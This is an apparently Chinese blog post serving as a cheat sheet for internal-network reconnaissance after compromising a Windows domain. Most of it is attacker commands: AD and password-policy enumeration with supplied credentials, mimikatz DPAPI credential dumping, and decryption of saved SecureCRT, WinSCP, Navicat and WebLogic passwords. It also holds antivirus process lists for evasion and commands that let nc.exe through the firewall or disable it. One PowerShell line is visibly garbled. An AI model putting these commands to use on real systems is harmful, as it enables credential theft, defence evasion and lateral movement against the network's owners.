浅谈内网信息收集

小鱼儿 2022-12-27 14:21 102阅读 0赞

1.密码策略收集  
1.net accounts /domain 如果是域用户，用命令查看 （域内）  
2.运用kali的ldapsearch来收集 （域外） dapsearch -x -H ldap://192.168.1.1:389 -D “CN=testa,CN=Users,DC=test,DC=com” -w DomainUser123! -b “DC=test,DC=com” | grep replUpToDateVector -A 13 ps: testa为用户名，-w为密码  
3.利用ipc连接查看，前提的晓得一个域用户的账号密码。 （域外） type “\\192.168.160.139\\C$\\Windows\\SYSVOL\\sysvol\\leecinsy.com\\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9\}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf” 有2个常用位置，上面那个是我自己win8的 \\192.168.1.1\\SYSVOL\\test.com\\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9\}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf //这2个常用位置  
4.运用Microsoft.ActiveDirectory.Management.dll（域内域外都可以，我没有成功）

2.活动目录信息的获取  
1.利用kali的ldapsearch来收集(域外)  
ldapsearch -x -H ldap://192.168.1.1:389 -D “CN=testa,CN=Users,DC=test,DC=com” -w DomainUser123! -b “DC=test,DC=com” //显示所有能查询的信息  
ldapsearch -x -H ldap://192.168.1.1:389 -D “CN=testa,CN=Users,DC=test,DC=com” -w DomainUser123! -b “DC=test,DC=com” -b “DC=test,DC=com” “(&(objectClass=user)(objectCategory=person))” CN | grep cn //查询所有的域用户，并且只显示cn的信息，用户名，如果想全部显示，去掉管道符后面的  
ldapsearch -x -H ldap://192.168.1.1:389 -D “CN=testa,CN=Users,DC=test,DC=com” -w DomainUser123! -b “DC=test,DC=com” -b “DC=test,DC=com” “(&(objectCategory=computer)(objectClass=computer))” CN | grep cn //查询所有的计算机名，并且只显示cn的信息，计算机名，如果想全部显示，去掉管道符后面的。 ldapsearch -x -H ldap://192.168.1.1:389 -D “CN=testa,CN=Users,DC=test,DC=com” -w DomainUser123! -b “DC=test,DC=com” -b “DC=test,DC=com” “(&(objectCategory=group))” CN | grep cn //查询所有的组  
2.利用powershellspilot(域外&域内)  
$uname=“cpwgp”  
$pwd=ConvertTo-SecureString “123456ab…” -AsPlainText –Force  c r e d = N e w − O b j e c t S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l ( cred=New-Object System.Management.Automation.PSCredential( cred=New−ObjectSystem.Management.Automation.PSCredential(uname,$pwd) //前面3行未固定格式，最后一行为执行命令  
Get-NetUser -Domain leecinsy.com -DomainController 192.168.160.139 -ADSpath “LDAP://DC=leecinsy,DC=com” -Credential $cred //获取凭证 Get-NetUser -Domain leecinsy.com -DomainController 192.168.160.139 -ADSpath “LDAP://DC=leecinsy,DC=com” -Credential $cred | fl name //只返回用户名  
Get-NetComputer -Domain leecinsy.com -DomainController 192.168.160.139 -ADSpath “LDAP://DC=leecinsy,DC=com” -Credential $cred | fl name //只返回机器名  
Get-NetGroup -Domain leecinsy.com -DomainController 192.168.160.139 -ADSpath “LDAP://DC=leecinsy,DC=com” -Credential $cred | fl name //返回所有组

3.RDP连接历史记录 1.HKEY\_CURRENT\_USER\\Software\\Microsoft\\Terminal Server Client\\Servers //只能看当前登录的 如果想看全部，选中HKEY\_USERS项，单击加载配置单元，找到NTUSER.DAT文件，然后我说说他的位置 C:\\Documents and Settings\\用户名\\NTUSER.DAT C:\\Windows\\profiles\\用户名目录下  
C:\\Users\\ASUS \\即可加载全部，然后完事后记得删除  
或者使用命令行  
Reg load HKEY\_USERS\\S-1-5-21-1170783345-3748964848-1387080272-1003 C:\\Documents and Settings\\c\\NTUSER.DAT  
Reg unload HKEY\_USERS\\S-1-5-21-1170783345-3748964848-1387080272-1003  
2.利用powershell (获得当前用户的rdp记录)  
dir “Registry::HKEY\_CURRENT\_USER\\Software\\Microsoft\\Terminal Server Client\\Servers” -Name //罗列ip  
(Get-ItemProperty -Path “Registry::HKEY\_CURRENT\_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\\192.168.160.145”).UsernameHint //查询用户名  
（获得已登录用户历史记录）  
Get-WmiObject -Class Win32\_UserAccount  
wmic /NAMESPACE:"\\root\\CIMV2" PATH Win32\_UserAccount GET /all /FORMAT:list //枚举账户的sid  
3. 利用cmd嘛，cmdkey /l  
或者用 dir /a %userprofile%\\AppData\\Local\\Microsoft\\Credentials\* 查看 4.利用mimikatz  
mimikatz: dpapi::cred/in:C:\\Users\\Administrator\\AppData\\Local\\Microsoft\\Credentials\\92FB159ED290FC523E845094404697A8

4.域控IP与与域机器的查找  
1.ipconfig /all 查看dns服务器，即为域控的ip  
2.开了389的端口的可能为域控  
3.利用信任域查找  
nltest /domain\_trusts /all\_trusts /v /server:192.168.160.145  
nltest /dsgetdc:pohpl /server:192.168.1.36  
4.net group “domain controllers” /domain //命令查找  
5.nltest /dclist:leecinsy //普通机器也可以查看  
6.利用nbtscan扫描  
7.利用csvde(一般说只有ad有，但是说不定不是ad也可以)  
csvde ‐setspn hack ‐f c:\\windows\\temp\\hack.csv CN=Common Name 为用户名或服务器名  
8.利用setspn setspn -T leecinsy -Q */* setspn -T leecinsy -Q */* | findstr iis  
9.利用dsquery.exe dsquery.exe server //查域控  
10.利用dnsdump dnsdump.exe ‐u leecinsy\\cpwgp ‐p 123456ab… WIN-58124A27PCR -r

5.存活主机，资产探寻  
1.用nbtscan扫  
2.For /l %i in (1,1,255) do @ping 12.168.100.%i -w 1 -n 1 | find “TTL=” 3.httpscan扫苗  
4.一些密码查看，  
SecureCRT,Winscp 破解:（SecureCRT）  
powershell-import ./ListInstalledPrograms.ps1  
powershell Get-list  
dir %APPDATA%\\VanDyke\\Config\\Sessions\\ //查找SecureCRT的配置文件  
powershell-import ./Invoke-Ninjacopy.ps1  
powershell Invoke-NinjaCopy -Path “靶机ini文件” -LocalDestination "C:\\users\\desktop\\ini文件  
然后解密：python2 securecrt-decrypt.py 192…168.1.1.ini（7以下）  
如果高版本，直接把 dir %APPDATA%\\VanDyke\\Config\\整个目录拷过来，版本要一直哦，然后直接连接  
破解：（Winscp）ps:目标的事先保存密码  
powershell-import ./ListInstalledPrograms.ps1  
powershell Get-list  
reg query HKEY\_CURRENT\_USER\\Software\\Martin Prikryl\\WinSCP 2\\Sessions（默认存在的注册表） 会返回一些信息 例如root@192.168.1.1 reg query HKEY\_CURRENT\_USER\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\root@192.168.1.1 然后将password用winscppwd.exe解密 winscppwd.exe root 192.168.1.1 hash即可  
也可以进入winscp,导出winscp的ini文件，然后用winscp解密 winscppwd.exe Winscp.ini  
破解:weblogic的数据库密码 先找到4个比较重要的文件 /weblogic/user\_projects/domains/base\_domain/security/SerializedSystemIni.dat SerializedSystemIni.dat /weblogic/user\_projects/domain/base\_doman/servers/Admin/security/boot.properties boot.properties /weblogic/user\_projects/domains/base\_domain/config/jdbc/xx-jdbc.xml xx-jdbc.xml /weblogic/user\_projects/domains/base\_domain/config/config.xml config.xml  
然后用jar脚本跑，第一行用 SerializedSystemIni.dat  
第二行用config.xml文件中提取 或者用xx-jdbc.xml获取  
破解navicat MySQL HKEY\_CURRENT\_USER\\Software\\PremiumSoft\\Navicat\\Servers\\ reg query HKEY\_CURRENT\_USER\\SOFTWARE\\PremiumSoft\\Navicat\\Servers /s /v host reg query HKEY\_CURRENT\_USER\\SOFTWARE\\PremiumSoft\\Navicat\\Servers /s /v pwd reg query HKEY\_CURRENT\_USER\\SOFTWARE\\PremiumSoft\\Navicat\\Servers /s /v UserName MariaDB HKEY\_CURRENT\_USER\\Software\\PremiumSoft\\NavicatMARIADB\\Servers\\ Microsoft SQL HKEY\_CURRENT\_USER\\Software\\PremiumSoft\\NavicatMSSQL\\Servers\\ Oracle HKEY\_CURRENT\_USER\\Software\\PremiumSoft\\NavicatOra\\Servers\\ PostgreSQL HKEY\_CURRENT\_USER\\Software\\PremiumSoft\\NavicatPG\\Servers\\ SQLite HKEY\_CURRENT\_USER\\Software\\PremiumSoft\\NavicatSQLite\\Servers\\ 找到以后，可以导出本地，用本地的注册表替换

6.域机器域成员查找1.定位域日志域日志位置C:\\Windows\\System32\\winevt\\Logs\\Security.evtx 服务器登录日志 登录事件ID 4624，可判别出登录域控制器的机器c:\\windows\\system32\\winevt\\logs\*.remote\* 远程登录日志主机远程登录日志HKCU\\Software\\Microsoft\\Terminal Server Client\\ServersHKCU\\Software\\Microsoft\\Terminal Server Client\\Default

7.关于本机的信息  
1.查看是否为虚拟机Systeminfo | findstr /i "System Modeldmidecode -s system-product-name 如若存在vitrul，就是虚拟机  
wmic product get name,version //查看安装了哪些软件，版本信息  
path //查看环境变量  
2.看补丁，看杀软，看共享看杀软  
1.systeminfo systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i “%i”|| @echo %i you can fuck)&del /f /q /a micropoor.txt具体查找哪些补丁打没有打  
wmic qfe也是看补丁  
wmci os看操作系统  
systeminfo | findstr /B /C:“OS 名称” /C:“OS 版本” 看操作系统和版本 wmic OS get Caption,CSDVersion,OSArchitecture,Version看的更具体2.WMIC /Node:localhost /Namespace:\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List 查看杀软，  
wmic /namespace:\\root\\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe //查看杀软  
接下来我来说一说常见的杀软进程，  
瑞星：  
CCENTER.EXE Ravmond.exe RavStub.exe RAVTIMER.EXE rfwmain.exe rfwsrv.exe  
McAfee: avconsol.exe avsynmgr.exe alogserv.exe vshwin32.exe vsstat.exe webscanx.exe  
金山毒霸：  
KAVPlus.EXE KWatchUI.EXE KPopMon.EXE KULANSyn.EXE KAVSvc.EXE KAVStart.exe KavPFW.exe KSafeTray.exe  
Norton:  
Norton AntiVirus Navapsvc.exe rtvscan.exe vptray.exe NPFMntor.exe ccSetMgr.exe SPBBCSvc.exe  
360：  
360arp.exe 360safebox.exe 360Safe.exe 360tray.exe 360sd.exe zhudongfangyu.exe  
其他的：  
avguard.exe//小红伞 egui.exe//nod32 AVP.EXE//卡巴斯基 bdagent.exe//bitdefender safedogupdatecenter//安全狗 Iparmor.exe//木马克星 vsmon.exe//ZoneAlarm个人防火墙  
3.netsh firewall show state 查看防火墙的状态  
netsh interface portproxy show all查看防火墙端口代理  
netsh firewall show config 查看防火墙的配置  
netsh advfirewall firewall add rule name=“a” dir=in action=allow program=“c:\\nc.exe” //允许指定指定程序进入  
netsh advfirewall firewall add rule name=“b” dir=out action=allow program=“c:\\nc.exe” //允许指定指定程序退出  
netsh advfirewall set currentprofile logging filename “c:\\windows\\temp\\a.log” //自定义防火墙日志的储存位置  
当然关闭防火墙也有很多命令  
netsh firewall set opmode mode=disable  
netsh firewall set Remote admin mode=enable  
netsh firewall set opmode disable  
netsh advfirewall set allprofiles state off  
wmic share get name,path,status 查看共享列表